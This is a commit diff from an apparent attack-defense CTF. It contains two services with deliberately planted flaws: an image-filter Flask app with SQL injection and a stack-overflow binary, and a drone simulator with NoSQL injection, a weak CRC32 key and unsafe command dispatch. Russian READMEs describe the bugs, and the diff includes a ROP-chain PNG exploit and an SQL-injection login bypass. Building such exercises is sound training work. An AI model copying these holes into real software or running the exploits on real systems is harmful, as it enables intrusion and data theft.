class LocalDb:
def __init__(self):
pass
def connect(self,conn_string):
#try:
self.conn = psycopg2.connect(
conn_string
)
#except Exception as e:
#print(e)
def execute(self, command):
cursor = self.conn.cursor()
#try:
cursor.execute(command)
try:
result = cursor.fetchall()
except Exception as e:
print(e,file=sys.stderr)
result = []
#cursor.close()
return result
def disconnect(self):
self.conn.cursor.close()
self.conn.close()

View File

@@ -0,0 +1,2 @@
flask
psycopg2

View File

@@ -0,0 +1,176 @@
#!/usr/bin/python3
from flask import (
Flask,
redirect,
url_for,
request,
make_response,
render_template_string,
render_template,
abort,
)
from app.db import LocalDb
import os
import string
import random
import subprocess
import sys
appx = Flask(__name__)
def generate_cock():
letters = string.ascii_lowercase
return "".join(random.choice(letters) for i in range(32))
def db_conn():
mydb = LocalDb()
conn_string = "host='db' dbname = 'Users' user='postgres' password = 'password'"
mydb.connect(conn_string)
return mydb
@appx.route("/")
def redir():
return redirect(url_for("login"))
@appx.route("/register", methods=["GET", "POST"])
def register():
if request.method == "GET":
return render_template("register.html")
else:
name = request.form["username"]
password = request.form["password"]
if name != "" and password != "":
# mydb = db_conn()
# try:
result = mydb.execute(
"SELECT * FROM Users WHERE username='" + name + "';")
print(result, file=sys.stderr)
if result != []:
return "<p1>User alredy exist</p1>"
print(name, file=sys.stderr)
mydb.execute(
"INSERT INTO Users (username,password) VALUES ('"
+ name
+ "','"
+ password
+ "');"
)
if not os.path.isdir("./images/" + name):
os.mkdir("./images/" + name)
return "<p1>Sucessfully registered<p1>"
# except Exception as e:
# return "Exception"
return "<p1>Vvedi normalniye credi ti che</p1>"
@appx.route("/login", methods=["GET", "POST"])
def login():
global logged_users
if request.method == "GET":
return render_template("login.html")
else:
print("Login entered...")
name = request.form["username"]
password = request.form["password"]
if name != "" and password != "":
if name in logged_users.values():
return "<p1>Already logged in</p1>"
# mydb = db_conn()
# try:
result = mydb.execute(
"SELECT * FROM Users WHERE username='"
+ name
+ "' AND password='"
+ password
+ "';"
)
if result == []:
abort(404)
cock = generate_cock()
if len(logged_users) > 10000:
logged_users = {}
logged_users[cock] = name
resp = make_response(
render_template_string("<p1>Sucessfully logged in<p1>")
)
resp.set_cookie("token", cock)
return resp
# except Exception as e:
# return "Exeception"
return render_template_string("<p1>Vvedi normalniye credi ti che<p1>")
@appx.route("/logout", methods=["GET"])
def logout():
cock = request.cookies.get("token")
if cock is None:
abort(401)
elif logged_users.get(cock) is None:
abort(401)
del logged_users[cock]
return "<p1>Sucessfully logout</p1>"
@appx.route("/images", methods=["GET"])
def get_images():
cock = request.cookies.get("token")
if cock is None:
abort(401)
elif logged_users.get(cock) is None:
abort(401)
usr = logged_users.get(cock)
path = "./images/" + usr
onlyfiles = [f for f in os.listdir(
path) if os.path.isfile(os.path.join(path, f))]
if len(onlyfiles) < 1:
return "<p1>No images</p1>"
img = onlyfiles[0]
image_binary = open("./images/" + usr + "/" + img, "rb").read()
response = make_response(image_binary)
response.headers.set("Content-Type", "image/png")
response.headers.set("Content-Disposition",
"attachment", filename="%s.png" % img)
return response
@appx.route("/apply_filter", methods=["GET", "POST"])
def filtrate():
cock = request.cookies.get("token")
if cock is None:
abort(401)
elif logged_users.get(cock) is None:
abort(401)
if request.method == "GET":
return render_template("apply_filter.html")
else:
filter_name = request.form["filter"]
filename = request.form["filename"]
imagefile = request.files.get("image", "")
print(imagefile,file=sys.stderr)
if imagefile is None:
return "<p1>Undefined</p1>"
usr = logged_users.get(cock)
if filename == "":
return "<p1>Undefined filename</p1>"
imagefile.save("./images/" + usr + "/" + filename)
path = "./images/" + usr + "/" + filename
if filter_name == "black":
subprocess.Popen(["./filterer/filterer", path, "black"])
return "<p1>Image blacked</p1>"
elif filter_name == "none":
return "<p1>Image saved</p1>"
return "<p1>Undefined</p1>"
global logged_users
global mydb
if __name__ == "__main__":
mydb = db_conn()
logged_users = {}
appx.run(host="0.0.0.0", port=6969)

View File

@@ -0,0 +1,24 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Apply filter</title>
</head>
<body>
<main id="main-holder">
<h1 id="login-header">Filtranator</h1>
<form id="login-form" method = "POST" enctype="multipart/form-data">
<input type="filter" name="filter" id="username-field" class="login-form-field" placeholder="filter" method = "POST">
<input type="filename" name="filename" id="password-field" class="login-form-field" placeholder="filename" method = "POST">
<input type="file" id="image" name="image">
<input type="submit" value="Uplooad" id="login-form-submit">
</form>
</main>
</body>
</html>

View File

@@ -0,0 +1,4 @@
<!DOCTYPE HTML>
<html>
images
</html>

View File

@@ -0,0 +1,23 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login</title>
</head>
<body>
<main id="main-holder">
<h1 id="login-header">Filtranator</h1>
<form id="login-form" method = "POST">
<input type="text" name="username" id="username-field" class="login-form-field" placeholder="Username" method = "POST">
<input type="password" name="password" id="password-field" class="login-form-field" placeholder="Password" method = "POST">
<input type="submit" value="Login" id="login-form-submit">
</form>
</main>
</body>
</html>

View File

@@ -0,0 +1,23 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Register</title>
</head>
<body>
<main id="main-holder">
<h1 id="login-header">Filtranator</h1>
<form id="login-form" method = "POST">
<input type="text" name="username" id="username-field" class="login-form-field" placeholder="Username" method = "POST">
<input type="password" name="password" id="password-field" class="login-form-field" placeholder="Password" method = "POST">
<input type="submit" value="Login" id="login-form-submit">
</form>
</main>
</body>
</html>

View File

@@ -0,0 +1,27 @@
services:
flysim:
restart: always
build: ./flysim
ports:
- "9000:9001"
depends_on:
- flysim-mongo
environment:
- MONGO_URI=mongodb://flysim-mongo:27017/mydatabase
- LD_LIBRARY_PATH=/root/.codon/lib/codon
# command: gunicorn -k gevent -w 1 --log-level debug -b 0.0.0.0:9001 server:app
command: gunicorn -k gevent -w 1 -b 0.0.0.0:9001 server:app
mem_limit: 2048m
cpu_count: 1
flysim-mongo:
restart: always
image: mongo:latest
volumes:
- mongodb_data:/data/db
mem_limit: 1024m
cpu_count: 1
volumes:
mongodb_data:

View File

@@ -0,0 +1,11 @@
FROM python:3.12.7-bookworm
WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY install_codon_v0.17.0.sh .
RUN yes y | bash install_codon_v0.17.0.sh
COPY . .

View File

@@ -0,0 +1,31 @@
create drone:
./client create --ip 10.80.1.2
you can also specify label and (or) flight plan
./client create --ip 10.80.1.2 --label asdf --flight-plan "1 BOOSTX [drone] 200\n55 BOOSTY [drone] 400\n"
connect:
./client connect --ip 10.80.1.2 --drone-id="676306da9da3a3b7141f3000" --control-key="c786e71f"
connect with setting position and (or) velocity:
./client connect --ip 10.80.1.2 --drone-id="676306da9da3a3b7141f3000" --control-key="c786e71f" --position 0 0 --velocity 1 2
by default, client keeps connection for 30 seconds. if you need more, add --duration:
./client connect --ip 10.80.1.2 --drone-id="676306da9da3a3b7141f3000" --control-key="c786e71f" --duration 9999
list drones (only ids):
./client list-drones --ip 10.80.1.2
list drones (detailed):
./client list-drones-details --ip 10.80.1.2
list details but only for one drone (by label):
./client list-drones-details --ip 10.80.1.2 --label p4MUiB5oEF5EHAnkMefO8
do not forget to use --help:
./client --help
./client create --help
./client connect --help
./client list-drones --help
./client list-drones-details --help

Binary file not shown.

View File

@@ -0,0 +1,77 @@
import misc
get_var = misc.get_var
set_vars = misc.set_vars
def reinit():
global get_var, set_vars
get_var = misc.get_var
set_vars = misc.set_vars
def BOOSTX(drone, value):
drone["velocity"][0] += value
return f"Drone {drone['_id']} boosted at X axis by {value}!"
def BOOSTY(drone, value):
drone["velocity"][1] += value
return f"Drone {drone['_id']} boosted at Y axis by {value}!"
def FIRE(drone):
return f"Drone {drone['_id']} fired!"
def SETFREQ(drone, frequency):
return f"Drone {drone['_id']} freq set to {frequency}!"
def process_flight_plan(drone, curr_time):
reinit()
flight_plan = get_var(drone["_id"], "flight_plan")
new_log = get_var(drone["_id"], "flight_log")
if not flight_plan:
return
commands = flight_plan.split("\n")
new_commands = ""
for command in commands:
if not command.strip():
continue
parts = command.split()
if len(parts) == 0:
continue
expected_time = int(parts[0])
if not (curr_time > expected_time or abs(curr_time - expected_time) < 0.2):
new_commands += command + "\n"
continue
command_name = parts[1]
args = parts[2:]
func = globals().get(command_name)
if func and callable(func):
try:
typed_args = []
if len(args) > 0 and args[0] == "[drone]":
typed_args.append(drone)
args = args[1:]
typed_args.extend(
[
int(arg) if arg.replace("-", "", 1).isdigit() else arg
for arg in args
]
)
new_log += str(func(*typed_args)) + "\n"
except Exception as e:
print(f"Error calling {command_name}: {e}", flush=True)
else:
print(f"Unknown command: {command_name}", flush=True)
set_vars(drone["_id"], {"flight_plan": new_commands, "flight_log": new_log})

View File

@@ -0,0 +1,65 @@
#!/usr/bin/env bash
set -e
set -o pipefail
CODON_INSTALL_DIR=~/.codon
OS=$(uname -s | awk '{print tolower($0)}')
ARCH=$(uname -m)
if [ "$OS" != "linux" ] && [ "$OS" != "darwin" ]; then
echo "error: Pre-built binaries only exist for Linux and macOS." >&2
exit 1
fi
CODON_BUILD_ARCHIVE=codon-$OS-$ARCH.tar.gz
mkdir -p $CODON_INSTALL_DIR
cd $CODON_INSTALL_DIR
curl -L https://github.com/exaloop/codon/releases/download/v0.17.0/"$CODON_BUILD_ARCHIVE" | tar zxvf - --strip-components=1
EXPORT_COMMAND="export PATH=$(pwd)/bin:\$PATH"
echo "PATH export command:"
echo " $EXPORT_COMMAND"
update_profile () {
if ! grep -F -q "$EXPORT_COMMAND" "$1"; then
read -p "Update PATH in $1? [y/n] " -n 1 -r
echo
if [[ $REPLY =~ ^[Yy]$ ]]; then
echo "Updating $1"
echo >> $1
echo "# Codon compiler path (added by install script)" >> $1
echo $EXPORT_COMMAND >> $1
else
echo "Skipping."
fi
else
echo "PATH already updated in $1; skipping update."
fi
}
if [[ "$SHELL" == *zsh ]]; then
if [ -e ~/.zshenv ]; then
update_profile ~/.zshenv
elif [ -e ~/.zshrc ]; then
update_profile ~/.zshrc
else
echo "Could not find zsh configuration file to update PATH"
fi
elif [[ "$SHELL" == *bash ]]; then
if [ -e ~/.bash_profile ]; then
update_profile ~/.bash_profile
elif [ -e ~/.bash_login ]; then
update_profile ~/.bash_login
elif [ -e ~/.profile ]; then
update_profile ~/.profile
else
echo "Could not find bash configuration file to update PATH"
fi
else
echo "Don't know how to update configuration file for shell $SHELL"
fi
echo "Codon successfully installed at: $(pwd)"
echo "Open a new terminal session or update your PATH to use codon"

View File

@@ -0,0 +1,28 @@
from functools import partial
from bson import ObjectId
def set_vars_(drones_collection, _id, what):
drones_collection.update_one(
{"_id": _id},
{"$set": what},
)
def get_var_(drones_collection, _id, what):
drone = drones_collection.find_one({"_id": ObjectId(_id)})
return drone[what]
def set_vars(*args, **kwargs):
raise RuntimeError("Function not initialized. Call initialize() first")
def get_var(*args, **kwargs):
raise RuntimeError("Function not initialized. Call initialize() first")
def initialize(drones_collection):
global set_vars, get_var
set_vars = partial(set_vars_, drones_collection)
get_var = partial(get_var_, drones_collection)

View File

@@ -0,0 +1,5 @@
Flask==3.0.3
Flask-SocketIO==5.4.1
pymongo==4.10.1
gunicorn==23.0.0
gevent==24.11.1

View File

@@ -0,0 +1,220 @@
from flask import Flask, request, jsonify, abort
from flask_socketio import SocketIO, join_room
from pymongo import MongoClient
from bson import ObjectId
import os
import time
from datetime import datetime, timedelta
import gevent
import json
import session_authenticator
from flight_plans import process_flight_plan
from functools import partial
import misc
from gevent.lock import BoundedSemaphore
db_lock = BoundedSemaphore(1)
app = Flask(__name__)
socketio = SocketIO(app)
client = MongoClient(os.getenv("MONGO_URI"))
db = client["drone_db"]
drones_collection = db["drones"]
misc.initialize(drones_collection)
DRONE_LIFETIME = 8 * 60 # in seconds
@app.route("/create_drone", methods=["POST"])
def create_drone():
with db_lock:
label = request.json.get("label", "NO_LABEL")
secret_data = request.json.get("secret_data", "")
flight_plan = request.json.get("flight_plan", "")
creation_time = datetime.now()
drone = {
"label": label,
"position": [0, 0],
"velocity": [0, 0],
"control_key": "",
"flight_plan": flight_plan,
"flight_log": "",
"secret_data": secret_data,
"created_at": creation_time,
"expires_at": creation_time + timedelta(seconds=DRONE_LIFETIME),
}
result = drones_collection.insert_one(drone)
drone_id = str(result.inserted_id)
control_key = session_authenticator.generate(drone_id, label)
drones_collection.update_one(
{"_id": result.inserted_id}, {"$set": {"control_key": control_key}}
)
return jsonify(
{
"id": drone_id,
"control_key": control_key,
"expires_at": drone["expires_at"].isoformat(),
}
)
def filter_sensitive_data(
data, filtered_fields=["control_key", "secret_data", "flight_plan", "flight_log"]
):
if isinstance(data, list):
return [filter_sensitive_data(item) for item in data]
elif isinstance(data, dict):
return {k: v for k, v in data.items() if k not in filtered_fields}
return data
@app.route("/get_drones", methods=["GET"])
def get_drones():
with db_lock:
with_field = request.args.get("with")
if with_field:
projection = json.loads(with_field)
if len(projection[0]) == 1 and list(projection[0].keys())[0] == "$match":
drones_response = list(drones_collection.aggregate(projection))
drones_response_final = []
for item in drones_response:
new_dict = item.copy()
new_dict["id"] = str(new_dict["_id"])
del new_dict["_id"]
drones_response_final.append(new_dict)
return json.dumps(filter_sensitive_data(drones_response_final), default=str)
return abort(403)
else:
drones_cursor = drones_collection.find({}, {"_id": 1})
return json.dumps(
[{"id": str(drone["_id"])} for drone in drones_cursor], default=str
)
@socketio.on("connect")
def connect():
print("Client connected")
@socketio.on("disconnect")
def disconnect():
print("Client disconnected")
@socketio.on("join_drone")
def join_drone(data):
with db_lock:
drone_id = data["drone_id"]
control_key = data["control_key"]
drone = drones_collection.find_one({"_id": ObjectId(drone_id)})
if drone and drone["control_key"] == control_key:
join_room(drone_id)
socketio.emit(
"drone_connected", {"data": f"Connected to drone {drone_id}"}, room=drone_id
)
else:
socketio.emit("error", {"data": "Invalid drone ID or control key"})
@socketio.on("set_position")
def set_position(data):
with db_lock:
drone_id = data["drone_id"]
position = data["position"]
drones_collection.update_one(
{"_id": ObjectId(drone_id)}, {"$set": {"position": position}}
)
socketio.emit(
"position_updated",
{"id": drone_id, "new_position": position},
room=drone_id,
)
@socketio.on("set_velocity")
def set_velocity(data):
with db_lock:
drone_id = data["drone_id"]
velocity = data["velocity"]
drones_collection.update_one(
{"_id": ObjectId(drone_id)}, {"$set": {"velocity": velocity}}
)
socketio.emit(
"velocity_updated",
{"id": drone_id, "new_velocity": velocity},
room=drone_id,
)
def update_positions():
with db_lock:
current_time = datetime.now()
expired_drones = drones_collection.find({"expires_at": {"$lt": current_time}})
for drone in expired_drones:
drone_id = str(drone["_id"])
drones_collection.delete_one({"_id": drone["_id"]})
socketio.emit("drone_expired", {"id": drone_id}, room=str(drone["_id"]))
active_drones = drones_collection.find({"expires_at": {"$gt": current_time}})
for drone in active_drones:
cur_time = (datetime.now() - drone["created_at"]).total_seconds()
process_flight_plan(drone, cur_time)
new_position = [
drone["position"][0] + drone["velocity"][0],
drone["position"][1] + drone["velocity"][1],
]
new_velocity = drone["velocity"].copy()
for i in range(2):
if abs(new_position[i]) > 100:
new_velocity[i] = -new_velocity[i]
new_position[i] = 100 if new_position[i] > 0 else -100
drones_collection.update_one(
{"_id": drone["_id"]},
{"$set": {"position": new_position, "velocity": new_velocity}},
)
socketio.emit(
"data_updated",
{
"id": str(drone["_id"]),
"label": drone["label"],
"position": new_position,
"velocity": new_velocity,
"cur_time": int(cur_time),
"control_key": drone["control_key"],
"flight_plan": drone["flight_plan"],
"flight_log": drone["flight_log"],
"secret_data": drone["secret_data"],
"created_at": str(drone["created_at"]),
"expires_at": str(drone["expires_at"]),
},
room=str(drone["_id"]),
)
def run_update_positions():
print("start_background_task")
while True:
update_positions()
gevent.sleep(1)
socketio.start_background_task(run_update_positions)
if __name__ == "__main__":
socketio.run(app, host="0.0.0.0", port=9001)

View File

View File

@@ -0,0 +1,15 @@
#!/usr/bin/env python3
import sys
import requests
ip = sys.argv[1]
hint = sys.argv[2]
url = f"http://{ip}:1337/get_note"
r = requests.post(url, json={
"name": hint,
})
print(r.json()["note"], flush=True)

View File

@@ -0,0 +1,14 @@
## Сервис `filtranator`
Сервис представляет собой приложение на Python (Flask), которое позволяет регистрироваться, логиниться и загружать картинки на сервер, после чего применять на них фильтры.
Флаг хранится в поле `flag` в info метаданных каждой картинки, а также его можно прочитать c картинки напрямую.
Также присутствует функциональность получения картинки для авторизованного пользователя.
## Уязвимости сервиса `filtranator`
1. SQL injection в авторизации (Функция login).
2. Stack overflow в бинарном приложении filterer. (Можно его разреверсить)
В папке binary_rce содержится эксплойт, который позволяет пользователю записать и исполнить произвольный шеллкод( вы сами можете написать себе полезную нагрузку).
## DoS
Если попытаться сделать неправильную sql иньекцию, то подключение к бд сломается и сервис перестанет нормально работать. Лечится перезапуском или запретом спецсимволов в регистрации или в логине.

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.0 MiB

Binary file not shown.

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,128 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./filterer
from pwn import *
from PIL import Image
import random
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
def start(argv=[], *a, **kw):
"""Start the exploit against the target."""
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = """
tbreak main
continue
""".format(**locals())
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
# Stripped: No
# Debuginfo: Yes
# io = start()
def set_number(pay, num, index, bytex):
kekx = b""
for i in range(bytex):
kekx += ((num >> (8 * i)) & 0xFF).to_bytes(1, "little")
print(kekx)
pay2 = pay[:index] + kekx + pay[index + bytex :]
return pay2
payload = b"\x00" * 4194900
ret_addr_index = 4194304 + 9 * 8
pop_rdi_pop_rbp = 0x0000000000403015
pop_rsi_pop_rbp = 0x0000000000425A2B
pop_rax = 0x0000000000402324
pop_r8 = 0x00000000005690BB
syscall = 0x00000000560C40
call_rsp = 0x0000000000527509
pop_rdx_r12_rbp = 0x00000000004F4C44
memcpy = 0x0000000052EE20
call_rax = 0x000000000042AFBF
mov_qword_r8_rsi = 0x000000000059FCA7
pop_rcx = 0x0000000000530823
# mprotect binary base to rwx (0x400000 addr)
payload = set_number(payload, pop_rdx_r12_rbp, 4194304 + 8 * 9, 8)
payload = set_number(payload, 0x1000, 4194304 + 8 * 10, 8)
payload = set_number(payload, 0, 4194304 + 8 * 11, 8)
payload = set_number(payload, 0, 4194304 + 8 * 12, 8)
payload = set_number(payload, pop_rdi_pop_rbp, 4194304 + 8 * 13, 8)
payload = set_number(payload, 0xA, 4194304 + 8 * 14, 8)
payload = set_number(payload, 0x0, 4194304 + 8 * 15, 8)
payload = set_number(payload, pop_rsi_pop_rbp, 4194304 + 8 * 16, 8)
payload = set_number(payload, 0x400000, 4194304 + 8 * 17, 8)
payload = set_number(payload, 0, 4194304 + 8 * 18, 8)
payload = set_number(payload, pop_rcx, 4194304 + 8 * 19, 8)
payload = set_number(payload, 0x7, 4194304 + 8 * 20, 8)
payload = set_number(payload, syscall, 4194304 + 8 * 21, 8)
# write shellcode in rwx via gadjet (0x400000 addr)
payload = set_number(payload, pop_rsi_pop_rbp, 4194304 + 8 * 22, 8)
payload = set_number(payload, 0x13371337, 4194304 + 8 * 23, 8)
payload = set_number(payload, 0x0, 4194304 + 8 * 24, 8)
payload = set_number(payload, pop_r8, 4194304 + 8 * 25, 8)
payload = set_number(payload, 0x400000, 4194304 + 8 * 26, 8)
payload = set_number(payload, mov_qword_r8_rsi, 4194304 + 8 * 27, 8)
# return to sprayed shellcode
payload = set_number(payload, 0x400000, 4194304 + 8 * 28, 8)
print(payload[4194304 + 9 * 8])
# print(payload)
im = Image.new("RGB", (4194900 // 3, 1))
# pix = im.load()
for i in range((4194304 + 9 * 8) // 3, 4194900 // 3):
for j in range(1):
im.putpixel((i, j), (payload[i * 3], payload[i * 3 + 1], payload[i * 3 + 2]))
print(payload[i * 3])
im.save("exploit.png", compress_level=0)
# io.interactive()

View File

@@ -0,0 +1,20 @@
#!/usr//bin/python3
import io
import requests
IP = 'http://localhost'
PORT = '6969'
def main():
sess = requests.Session()
username = from_attack
resp = sess.post(
IP + ":" + PORT + "/login", data={"username": username, "password": "' OR 1=1 --"}
)
print(resp.text)
resp = sess.get(IP + ":" + PORT + "/images")
print(resp.text)
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,26 @@
## Сервис `flysim`
Сервис представляет собой приложение на Python (Flask, SocketIO, gunicorn), симулирующее работу дронов - можно создать дрон, назначить ему скорость, полётный план (на какой секунде ускориться, поменять частоту) и наблюдать за его полётом (изменяются координаты каждый тик ~1сек). "Наблюдение" идёт через socket.io (websocket или polling).
Флаг хранится в поле `secret_data`, и его можно узнать, лишь подключившись к дрону по socket.io с правильным `control_key` (штатным образом, без использования уязвимостей).
Также присутствует функциональность получения всех созданных дронов (только id) и более детальный интерфейс (можно найти дрон с определённым label, причём получить все его данные за исключением приватных ("control_key", "secret_data", "flight_plan", "flight_log")).
## Уязвимости сервиса `flysim`
1. NoSQL injection в параметре what= (`sploit_nosql.py`). Помимо "$match", можно дописать и "$lookup", сматчив все строки (`{"$match": {"label": {"$regex": "^.*"}}}`).
2. CRC32 используется в `session_authenticator.generate(drone_id, label)` (это можно понять, отреверсив .so-шник, скомпиленный codon-ом) (`sploit_crc32.py`)
3. В flight plan можно вызвать get_var (`sploit_flight_plan.py`) помимо "стандартных" операций типа BOOSTX/BOOSTY/FIRE/SETFREQ, `func = globals().get(command_name)` - get_var входит в globals.
## DoS
`./client create --label asdf --flight-plan "BOOSTX [drone] 200\nBOOSTY [drone] 400\n"` (намеренно пропущено время запуска: не `0 BOOSTX [drone] 200`, а `BOOSTX [drone] 200`)
Приведёт к ошибке:
```
flysim_1 | Traceback (most recent call last):
flysim_1 | File "src/gevent/greenlet.py", line 900, in gevent._gevent_cgreenlet.Greenlet.run
flysim_1 | File "/app/server.py", line 214, in run_update_positions
flysim_1 | update_positions()
flysim_1 | File "/app/server.py", line 176, in update_positions
flysim_1 | process_flight_plan(drone, cur_time)
flysim_1 | File "/app/flight_plans.py", line 50, in process_flight_plan
flysim_1 | expected_time = int(parts[0])
flysim_1 | ^^^^^^^^^^^^^
flysim_1 | ValueError: invalid literal for int() with base 10: 'BOOSTX'
```
При этом цикл, отвечающий за обновление данных обо всех дронах и рассылку сообщений в socket.io-комнаты, перестанет работать и чекер будет timeout-ится в ожидании сообщения, которое не поступит.

View File

@@ -0,0 +1,31 @@
create drone:
./client create --ip 10.80.1.2
you can also specify label and (or) flight plan
./client create --ip 10.80.1.2 --label asdf --flight-plan "1 BOOSTX [drone] 200\n55 BOOSTY [drone] 400\n"
connect:
./client connect --ip 10.80.1.2 --drone-id="676306da9da3a3b7141f3000" --control-key="c786e71f"
connect with setting position and (or) velocity:
./client connect --ip 10.80.1.2 --drone-id="676306da9da3a3b7141f3000" --control-key="c786e71f" --position 0 0 --velocity 1 2
by default, client keeps connection for 30 seconds. if you need more, add --duration:
./client connect --ip 10.80.1.2 --drone-id="676306da9da3a3b7141f3000" --control-key="c786e71f" --duration 9999
list drones (only ids):
./client list-drones --ip 10.80.1.2
list drones (detailed):
./client list-drones-details --ip 10.80.1.2
list details but only for one drone (by label):
./client list-drones-details --ip 10.80.1.2 --label p4MUiB5oEF5EHAnkMefO8
do not forget to use --help:
./client --help
./client create --help
./client connect --help
./client list-drones --help
./client list-drones-details --help

View File

@@ -0,0 +1,10 @@
sudo apt install python3.12-venv
python3.12 -m venv flysim_client
source flysim_client/bin/activate
pip3.12 install -r requirements.txt
pip3.12 install pyinstaller staticx
python3.12 -m PyInstaller --onefile client
staticx dist/client dist/client_static
# dist/client_static is the file you need

View File

@@ -0,0 +1,113 @@
#!/usr/bin/env python3
import click
import drone_client
import json
import time
from typing import Optional
class OrderedGroup(click.Group):
def list_commands(self, ctx):
# Return commands in the order they are defined
return self.commands.keys()
@click.group(cls=OrderedGroup)
def cli():
"""Drone Control CLI"""
pass
@cli.command()
@click.option("--ip", default="127.0.0.1", help="Server IP address")
@click.option("--label", help="Drone label")
@click.option("--secret-data", help="Secret data for the drone")
@click.option("--flight-plan", help="Flight plan for the drone")
def create(ip, label, secret_data, flight_plan):
"""Create a new drone"""
client = drone_client.DroneClient(ip)
if not client.create_drone(
label=label,
secret_data=secret_data,
flight_plan=flight_plan.replace(r"\n", "\n") if flight_plan else None,
):
click.echo("Failed to create drone")
return
credentials = {
"drone_id": client.drone_id,
"control_key": client.control_key,
"ip": ip,
}
click.echo(f"Drone created successfully:")
click.echo(f"Drone ID: {client.drone_id}")
click.echo(f"Control Key: {client.control_key}")
@cli.command()
@click.option("--ip", default="127.0.0.1", help="Server IP address")
@click.option("--drone-id", required=True, help="Drone ID")
@click.option("--control-key", required=True, help="Control key")
@click.option("--position", type=(float, float), help="Position coordinates (x, y)")
@click.option("--velocity", type=(float, float), help="Velocity vector (vx, vy)")
@click.option(
"--duration", default=30, help="Duration to keep connection alive (seconds)"
)
def connect(ip, drone_id, control_key, position, velocity, duration):
"""Connect to an existing drone"""
client = drone_client.DroneClient(ip)
client.drone_id = drone_id
client.control_key = control_key
if not client.connect_to_drone():
click.echo("Failed to connect to drone")
return
click.echo(f"Connected to drone {drone_id}")
if position:
client.update_position(list(position))
click.echo(f"Updated position to {position}")
if velocity:
client.update_velocity(list(velocity))
click.echo(f"Updated velocity to {velocity}")
click.echo(f"Keeping connection alive for {duration} seconds...")
time.sleep(duration)
client.disconnect()
click.echo("Disconnected from drone")
@cli.command()
@click.option("--ip", default="127.0.0.1", help="Server IP address")
def list_drones(ip):
"""List all available drones"""
client = drone_client.DroneClient(ip)
client.get_all_drones()
@cli.command()
@click.option("--ip", default="127.0.0.1", help="Server IP address")
@click.option(
"--label",
"label",
help="Target drone label. If label is not specified, all drones are shown.",
)
def list_drones_details(ip, label):
"""List drone(s) with detailed information"""
client = drone_client.DroneClient(ip)
if label:
print(
client.get_drones_with_details(json.dumps([{"$match": {"label": label}}]))
)
else:
print(client.get_drones_with_details(json.dumps([{"$match": {}}])))
if __name__ == "__main__":
cli()

View File

@@ -0,0 +1,135 @@
import socketio
import requests
import time
import json
from threading import Event
# def print(*args, **kwargs):
# pass # disable print
class DroneClient:
def __init__(self, ip="127.0.0.1"):
sio = socketio.Client()
self.base_url = f"http://{ip}:9000/"
self.sio = sio
self.drone_id = None
self.control_key = None
self.data_received_event = Event()
self.last_received_data = None
self.velocity_updated_event = Event()
self.last_received_veldata = None
self.position_updated_event = Event()
self.last_received_posdata = None
@sio.on("connect")
def on_connect():
print("Connected to server")
@sio.on("disconnect")
def on_disconnect():
print("Disconnected from server")
@sio.on("drone_connected")
def on_drone_connected(data):
print(f"Drone connection status: {data['data']}")
@sio.on("data_updated")
def on_data_updated(data):
print(data)
if isinstance(data, dict):
self.last_received_data = data
self.data_received_event.set()
@sio.on("velocity_updated")
def on_velocity_updated(data):
print(data)
if isinstance(data, dict):
self.last_received_veldata = data
self.velocity_updated_event.set()
@sio.on("position_updated")
def on_position_updated(data):
print(data)
if isinstance(data, dict):
self.last_received_posdata = data
self.position_updated_event.set()
@sio.on("error")
def on_error(data):
print(f"Error: {data['data']}")
def wait_for_data_msg(self, timeout=None):
self.data_received_event.clear()
if self.data_received_event.wait(timeout):
return self.last_received_data
return None
def wait_for_vel_msg(self, timeout=None):
self.velocity_updated_event.clear()
if self.velocity_updated_event.wait(timeout):
return self.last_received_veldata
return None
def wait_for_pos_msg(self, timeout=None):
self.position_updated_event.clear()
if self.position_updated_event.wait(timeout):
return self.last_received_posdata
return None
def create_drone(self, label=None, secret_data=None, flight_plan=None):
response = requests.post(
f"{self.base_url}/create_drone",
timeout=8000,
json={}
| ({"label": label} if label else {})
| ({"secret_data": secret_data} if secret_data else {})
| ({"flight_plan": flight_plan} if flight_plan else {}),
)
if response.status_code == 200:
data = response.json()
self.drone_id = data["id"]
self.control_key = data["control_key"]
print(
f"Created drone with ID: {self.drone_id}, control key: {self.control_key}"
)
return True
else:
print(f"Failed to create drone: {response.text}")
return False
def get_all_drones(self):
response = requests.get(f"{self.base_url}/get_drones")
print("All drones:", response.json())
def get_drones_with_details(self, with_what_details):
response = requests.get(f"{self.base_url}/get_drones?with={with_what_details}")
return response.json()
def connect_to_drone(self):
try:
self.sio.connect(self.base_url, socketio_path="/socket.io")
self.sio.emit(
"join_drone",
{"drone_id": self.drone_id, "control_key": self.control_key},
)
return True
except Exception as e:
print(f"Connection error: {e}")
return False
def update_position(self, position):
self.sio.emit("set_position", {"drone_id": self.drone_id, "position": position})
def update_velocity(self, velocity):
self.sio.emit("set_velocity", {"drone_id": self.drone_id, "velocity": velocity})
def disconnect(self):
try:
self.sio.disconnect()
except Exception as e:
print(f"Disconnection error: {e}")

View File

@@ -0,0 +1,4 @@
requests==2.32.3
python-socketio==5.11.4
websocket-client==1.8.0
click==8.1.7

View File

@@ -0,0 +1,132 @@
import socketio
import requests
import time
import json
from threading import Event
def print(*args, **kwargs):
pass # disable print
class DroneClient:
def __init__(self, ip="127.0.0.1"):
sio = socketio.Client()
self.base_url = f"http://{ip}:9000/"
self.sio = sio
self.drone_id = None
